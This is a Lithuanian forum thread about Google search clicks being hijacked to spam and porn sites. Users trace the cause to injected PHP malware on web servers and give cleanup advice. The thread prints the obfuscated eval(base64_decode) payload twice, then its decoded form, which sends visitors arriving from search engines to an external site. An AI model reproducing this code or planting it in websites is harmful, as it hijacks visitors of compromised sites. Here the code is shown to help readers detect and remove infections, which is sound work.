Google spamas ar virusas?

Sveiki

Pastarąja savaitę kažkas prasidėjo darytis su google paieškos sistemas, su kitais puslapiais nieko panašaus nebūną.

Kaip suvedu paieškoje kokį raktažodį ir paspaudžiu ant paieškos rezultato man išmeta porno arba full tillto ar dar kokio š puslapį, paspaudžiu back ir vėl ant to paties paieškos rezultato, tada puslapį atidaro reikiamą. Ar jums taip nebuvo?

Virusas

Man irgi taip darosi, tik man atidaro kiwa.org, tai bent nuoguolių nematau.

Mažiau po pornuhas landžiok :D (arba rinkis patikimas svetaines) :D

Virusai siautėja :) neseniai ir aš antrą kartą užlipau ant šito grėblio. Ieškok pas save failuose įtartino iframe'o arba tokio džiaugsmo:

eval(base64_decode("DQoNCg0KZXJyb3JfcmVwb3J0aW5nKDApOw0KJG5jY3Y9aGVhZGVyc19zZW50KCk7DQppZiAoISRuY2N2KXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YT0kX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107DQppZiAoc3RyaXN0cigkcmVmZXJlciwidHdpdHRlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29vZ2xlIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFzay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJtc24iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2siKSkgew0KCWlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CQkNCgkJaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL3Jpbmdvc3RhcnQub3NhLnBsLyIpOw0KCQlleGl0KCk7DQoJfQ0KfQ0KfQ=="));

Radęs viską trink :) Jei yra galimybė išsivalyk serverį sausai. Ir tik po to sukelk svetaines. Jei ne, chmodink į 555.

Tik dar nesupratau kaip konkrečiai jis patenka į serverį, tikrai žinau, kad ne per mano kompiuterį, nes būtų tada užkrėsti ir visi kiti serveriai prie kurių jungiuosi.

Virusai siautėja :) neseniai ir aš antrą kartą užlipau ant šito grėblio. Ieškok pas save failuose įtartino iframe'o arba tokio džiaugsmo:

 

eval(base64_decode("DQoNCg0KZXJyb3JfcmVwb3J0aW5nKDApOw0KJG5jY3Y9aGVhZGVyc19zZW50KCk7DQppZiAoISRuY2N2KXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YT0kX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107DQppZiAoc3RyaXN0cigkcmVmZXJlciwidHdpdHRlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29vZ2xlIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFzay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJtc24iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2siKSkgew0KCWlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CQkNCgkJaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL3Jpbmdvc3RhcnQub3NhLnBsLyIpOw0KCQlleGl0KCk7DQoJfQ0KfQ0KfQ=="));

 

Radęs viską trink :) Jei yra galimybė išsivalyk serverį sausai. Ir tik po to sukelk svetaines. Jei ne, chmodink į 555.

 

Tik dar nesupratau kaip konkrečiai jis patenka į serverį, tikrai žinau, kad ne per mano kompiuterį, nes būtų tada užkrėsti ir visi kiti serveriai prie kurių jungiuosi.

O tai ar kenkia šitas virusas kažkuo? :D

O tai ar kenkia šitas virusas kažkuo? :D

Atkoduotas failas:

error_reporting(0);
$nccv=headers_sent();
if (!$nccv){
$referer=$_SERVER['HTTP_REFERER'];
$ua=$_SERVER['HTTP_USER_AGENT'];
if (stristr($referer,"twitter") or stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"bing") or stristr($referer,"ask.com") or stristr($referer,"msn") or stristr($referer,"live") or stristr($referer,"facebook")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){		
	header("Location: http://ringostart.osa.pl/");
	exit();
}
}
}

Nukreipia į kitą puslapį.